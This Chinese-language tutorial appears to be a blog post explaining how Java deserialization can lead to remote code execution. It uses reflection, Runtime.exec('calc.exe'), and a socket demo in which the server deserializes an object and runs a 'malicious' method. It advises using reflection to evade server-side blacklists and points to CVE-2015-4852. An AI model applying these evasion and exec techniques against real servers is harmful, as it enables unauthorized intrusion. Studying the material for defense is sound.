java反序列化引發(fā)的遠(yuǎn)程代碼執(zhí)行漏洞原理分析

java反序列化引發(fā)的遠(yuǎn)程代碼執(zhí)行漏洞原理分析

主要有3個(gè)部分組成:

1、Java的反省機(jī)制

2、Java的序列化處理

3、Java的遠(yuǎn)程代碼執(zhí)行

Java的反射與代碼執(zhí)行

立即學(xué)習(xí)Java免費(fèi)學(xué)習(xí)筆記(深入)”;

我們先看個(gè)簡(jiǎn)單的例子,使用Java調(diào)用計(jì)算器程序:

import?java.io.IOException; import?java.lang.Runtime; public?class?Test?{ ????public?static?void?main(String[]?args)?{ ????????Runtime?env?=?Runtime.getRuntime(); ????????String?cmd?=?"calc.exe";???????? ????try?{ ????????????env.exec(cmd); ????????}?catch?(IOException?e)?{ ????????????e.printStackTrace(); ????????} ????} }

我們從java.lang包中導(dǎo)入Runtime類,之后調(diào)用其getRuntime方法得到1個(gè)Runtime對(duì)象,該對(duì)象可以用于JVM虛擬機(jī)運(yùn)行狀態(tài)的處理。接著我們調(diào)用其exec方法,傳入1個(gè)字符串作為參數(shù)。

此時(shí),將啟動(dòng)本地計(jì)算機(jī)上的計(jì)算器程序。

下面我們通過(guò)Java的反省機(jī)制對(duì)上述的代碼進(jìn)行重寫。通過(guò)Java的反省機(jī)制可以動(dòng)態(tài)的調(diào)用代碼,而逃過(guò)一些服務(wù)端黑名單的處理:

import?java.lang.reflect.InvocationTargetException; import?java.lang.reflect.Method;  public?class?Test?{  ????public?static?void?main(String[]?args)?{ ????????try?{ ????????????Class>?cls?=?Class.forName("java.lang.Runtime");???????????? ????????????String?cmd?=?"calc.exe"; ????????????try?{ ????????????????Method?getRuntime?=?cls.getMethod("getRuntime",?new?Class[]?{});???????????????? ????????????????Object?runtime?=?getRuntime.invoke(null); ????????????????Method?exec?=?cls.getMethod("exec",?String.class); ????????????????exec.invoke(runtime,?cmd); ????????????}?catch?(NoSuchMethodException?e)?{ ????????????????e.printStackTrace(); ????????????}?catch?(SecurityException?e)?{ ????????????????e.printStackTrace(); ????????????}?catch?(IllegalAccessException?e)?{ ????????????????e.printStackTrace(); ????????????}?catch?(IllegalArgumentException?e)?{ ????????????????e.printStackTrace(); ????????????}?catch?(InvocationTargetException?e)?{ ????????????????e.printStackTrace(); ????????????} ????????}?catch?(ClassNotFoundException?e1)?{ ????????????e1.printStackTrace(); ????????} ????} }

上述代碼看起來(lái)很繁瑣,實(shí)際上并不是很難。首先,通過(guò)Class.forName傳入1個(gè)字符串作為參數(shù),其返回1個(gè)Class的實(shí)例。而其作用是根據(jù)對(duì)應(yīng)的名稱找到對(duì)應(yīng)的類。

接著我們使用Class實(shí)例的getMethod方法獲取對(duì)應(yīng)類的getRuntime方法,由于該類沒(méi)有參數(shù),因此可以將其設(shè)置為null或使用匿名類來(lái)處理。

Method?getRuntime?=?cls.getMethod("getRuntime",?new?Class[]?{});

之后通過(guò)得到的方法的實(shí)例的invoke方法調(diào)用對(duì)應(yīng)的類方法,由于沒(méi)有參數(shù)則傳入null即可。同理,我們?cè)佾@取到exec方法。

Java序列化處理

對(duì)于Java中的序列化處理,對(duì)應(yīng)的類需要實(shí)現(xiàn)Serializable接口,例如:

import?java.io.Serializable; import?java.io.ObjectInputStream; import?java.io.ObjectOutputStream; import?java.io.ByteArrayInputStream; import?java.io.ByteArrayOutputStream; import?java.io.IOException; public?class?Reader?implements?Serializable?{ ????private?static?final?long?serialVersionUID?=?10L;???? ????private?void?readObject(ObjectInputStream?stream)?{ ????????System.out.println("foo...bar..."); ????}????public?static?byte[]?serialize(Object?obj)?{????????//序列化對(duì)象 ????????ByteArrayOutputStream?out?=?new?ByteArrayOutputStream(); ????????ObjectOutputStream?output?=?null;???????? ????try?{ ????????????output?=?new?ObjectOutputStream(out); ????????????output.writeObject(obj); ????????????output.flush(); ????????????output.close();  ????????}?catch?(IOException?e)?{ ????????????e.printStackTrace(); ????????}????????return?out.toByteArray();  ????}????public?static?Object?deserialize(byte[]?bytes)?{????????//反序列化處理 ????????ByteArrayInputStream?in?=?new?ByteArrayInputStream(bytes); ????????ObjectInputStream?input; ????????Object?obj?=?null;???????? ????try?{ ????????????input?=?new?ObjectInputStream(in); ????????????obj?=?input.readObject(); ????????}?catch?(IOException?e)?{ ????????????e.printStackTrace(); ????????}?catch?(ClassNotFoundException?e)?{ ????????????e.printStackTrace(); ????????}????????return?obj;  ????}???? ????public?static?void?main(String[]?args)?{???????? ????byte[]?data?=?serialize(new?Reader());?//對(duì)類自身進(jìn)行序列化 ????????Object?response?=?deserialize(data); ????????System.out.println(response); ????} }

在這里我們重寫了該類的readObject方法,用于讀取對(duì)象用于測(cè)試。其中比較重要的2個(gè)函數(shù)是serialize和deserialize,分別用于序列化和反序列化處理。

其中,serialize方法需要傳入1個(gè)對(duì)象作為參數(shù),其輸出結(jié)果為1個(gè)字節(jié)數(shù)組。在該類中,其中的對(duì)象輸出流ObjectOutputStream主要用于ByteArrayOutputStream進(jìn)行包裝,之后使用其writeObject方法將對(duì)象寫入進(jìn)去,最后我們通過(guò)ByteArrayOutputStream實(shí)例的toByteArray方法得到字節(jié)數(shù)組。

而在deserialize方法中,需要傳入1個(gè)字節(jié)數(shù)組,而返回值為1個(gè)Object對(duì)象。與之前的序列化serialize函數(shù)類似,此時(shí)我們使用ByteArrayInputStream接收字節(jié)數(shù)組,之后使用ObjectInputStream對(duì)ByteArrayInputStream進(jìn)行包裝,接著調(diào)用其readObject方法得到1個(gè)Object對(duì)象,并將其返回。

當(dāng)我們運(yùn)行該類時(shí),將得到如下的結(jié)果:

java反序列化引發(fā)的遠(yuǎn)程代碼執(zhí)行漏洞原理分析

Java遠(yuǎn)程通信與傳輸

為了實(shí)現(xiàn)Java代碼的遠(yuǎn)程傳輸及遠(yuǎn)程代碼執(zhí)行,我們可以借助RMI、RPC等方式。而在這里我們使用Socket進(jìn)行服務(wù)端及客戶端處理。

首先是服務(wù)器端,監(jiān)聽本地的8888端口,其代碼為:

import?java.net.Socket; import?java.io.IOException; import?java.io.InputStream; import?java.net.ServerSocket; public?class?Server?{ ????public?static?void?main(String[]?args)?throws?ClassNotFoundException?{???????? ????int?port?=?8888;???????? ????try?{ ????????????ServerSocket?server?=?new?ServerSocket(port); ????????????System.out.println("Server?is?waiting?for?connect"); ????????????Socket?socket?=?server.accept(); ????????????InputStream?input?=?socket.getInputStream();???????????? ????????????byte[]?bytes?=?new?byte[1024]; ????????????int?length?=?0;???????????? ????????????while((length=input.read(bytes))!=-1)?{ ????????????????String?out?=?new?String(bytes,?0,?length,?"UTF-8"); ????????????????System.out.println(out); ????????????} ????????????input.close(); ????????????socket.close(); ????????????server.close(); ????????}?catch?(IOException?e)?{ ????????????e.printStackTrace(); ????????} ????} }

我們通過(guò)傳入1個(gè)端口來(lái)實(shí)例化ServerSocket類,此時(shí)得到1個(gè)服務(wù)器的socket,之后調(diào)用其accept方法接收客戶端的請(qǐng)求。此時(shí),得到了1個(gè)socket對(duì)象,而通過(guò)socket對(duì)象的getInputStream方法獲取輸入流,并指定1個(gè)長(zhǎng)度為1024的字節(jié)數(shù)組。

接著調(diào)用socket的read方法讀取那么指定長(zhǎng)度的字節(jié)序列,之后通過(guò)String構(gòu)造器將字節(jié)數(shù)組轉(zhuǎn)換為字符串并輸出。這樣我們就得到了客戶端傳輸?shù)膬?nèi)容。

而對(duì)于客戶端器,其代碼類似如下:

import?java.io.IOException; import?java.net.Socket; import?java.io.OutputStream; public?class?Client?{ ????public?static?void?main(String[]?args)?{ ????????String?host?=?"192.168.1.108";???????? ????????int?port?=?8888; ????????try?{ ????????????Socket?socket?=?new?Socket(host,?port); ????????????OutputStream?output?=?socket.getOutputStream(); ????????????String?message?=?"Hello,Java?Socket?Server"; ????????????output.write(message.getBytes("UTF-8")); ????????????output.close(); ????????????socket.close(); ????????}?catch?(IOException?e)?{ ????????????e.printStackTrace(); ????????} ????} }

在客戶端,我們通過(guò)Socket對(duì)象傳遞要連接的IP地址和端口,之后通過(guò)socket對(duì)象的getOutputStream方法獲取到輸出流,用于往服務(wù)器端發(fā)送輸出。由于這里只是演示,使用的是本地的主機(jī)IP。而在實(shí)際應(yīng)用中,如果我們知道某個(gè)外網(wǎng)主機(jī)的IP及開放的端口,如果當(dāng)前主機(jī)存在對(duì)應(yīng)的漏洞,也是可以利用類似的方式來(lái)實(shí)現(xiàn)的。

這里我們?cè)O(shè)置要傳輸?shù)膬?nèi)容為UTF-8編碼的字符串,俄日在輸出流的write方法中通過(guò)字符串的getBytes指定其編碼,從而將其轉(zhuǎn)換為對(duì)應(yīng)的字節(jié)數(shù)組進(jìn)行發(fā)送。

正常情況下,我們運(yùn)行服務(wù)器后再運(yùn)行客戶端,在服務(wù)器端可以得到如下輸出:

Server?is?waiting?for?connect Hello,Java?Socket?Server

Java反序列化與遠(yuǎn)程代碼執(zhí)行

下面我們通過(guò)Java反序列化的問(wèn)題來(lái)實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行,為了實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行,我們首先在Reader類中添加1個(gè)malicious方法,其代碼為:

public?Object?malicious()?throws?IOException?{ ????????Runtime.getRuntime().exec("calc.exe"); ????????System.out.println("Hacked?the?Server...");???????? ????????return?this; ????}

在該方法中我們使用之前的介紹調(diào)用宿主機(jī)器上的計(jì)算器程序,然后輸出1個(gè)相關(guān)信息,最后返回當(dāng)前類。

之后是對(duì)服務(wù)器端的代碼進(jìn)行如下的修改:

while((length=input.read(bytes))!=-1)?{ ????Reader?obj?=?(Reader)?Reader.deserialize(bytes); ????obj.malicious(); }

我們?cè)诮邮盏娇蛻舳藢?duì)應(yīng)的字符串后對(duì)其進(jìn)行反序列處理,之后調(diào)用某個(gè)指定的函數(shù),從而實(shí)現(xiàn)遠(yuǎn)程代碼的執(zhí)行。而在客戶端,我們需要對(duì)其進(jìn)行序列化處理:

Reader?reader?=?new?Reader(); byte[]?bytes?=?Reader.serialize(reader); String?message?=?new?String(bytes); output.write(message.getBytes());

下面我們?cè)谒拗鳈C(jī)器上運(yùn)行服務(wù)器端程序,之后在本地機(jī)器上運(yùn)行客戶端程序,當(dāng)客戶端程序執(zhí)行時(shí),可以看到類似如下的結(jié)果:

java反序列化引發(fā)的遠(yuǎn)程代碼執(zhí)行漏洞原理分析

可以看到,我們成功的在宿主機(jī)器上執(zhí)行了對(duì)應(yīng)的命令執(zhí)行。

總結(jié)

為了實(shí)現(xiàn)通過(guò)Java的反序列問(wèn)題來(lái)實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行的漏洞,我們需要編寫1個(gè)有惡意代碼注入的序列化類。之后在客戶端將惡意代碼序列化后發(fā)送給服務(wù)器端,而服務(wù)器端需要調(diào)用我們期望的方法,從而觸發(fā)遠(yuǎn)程代碼執(zhí)行。

為了避免服務(wù)器端進(jìn)行一些安全處理,我們可以采用反射的方式來(lái)逃逸其處理。

這里只是1個(gè)簡(jiǎn)化的過(guò)程,更加實(shí)用的過(guò)程可以參考Apache Common Collections的問(wèn)題導(dǎo)致的Weblogic漏洞CVE-2015-4852及Jboss的漏洞CVE-2015-4852。

推薦相關(guān)文章教程:CVE-2015-4852

? 版權(quán)聲明
THE END
喜歡就支持一下吧
點(diǎn)贊15 分享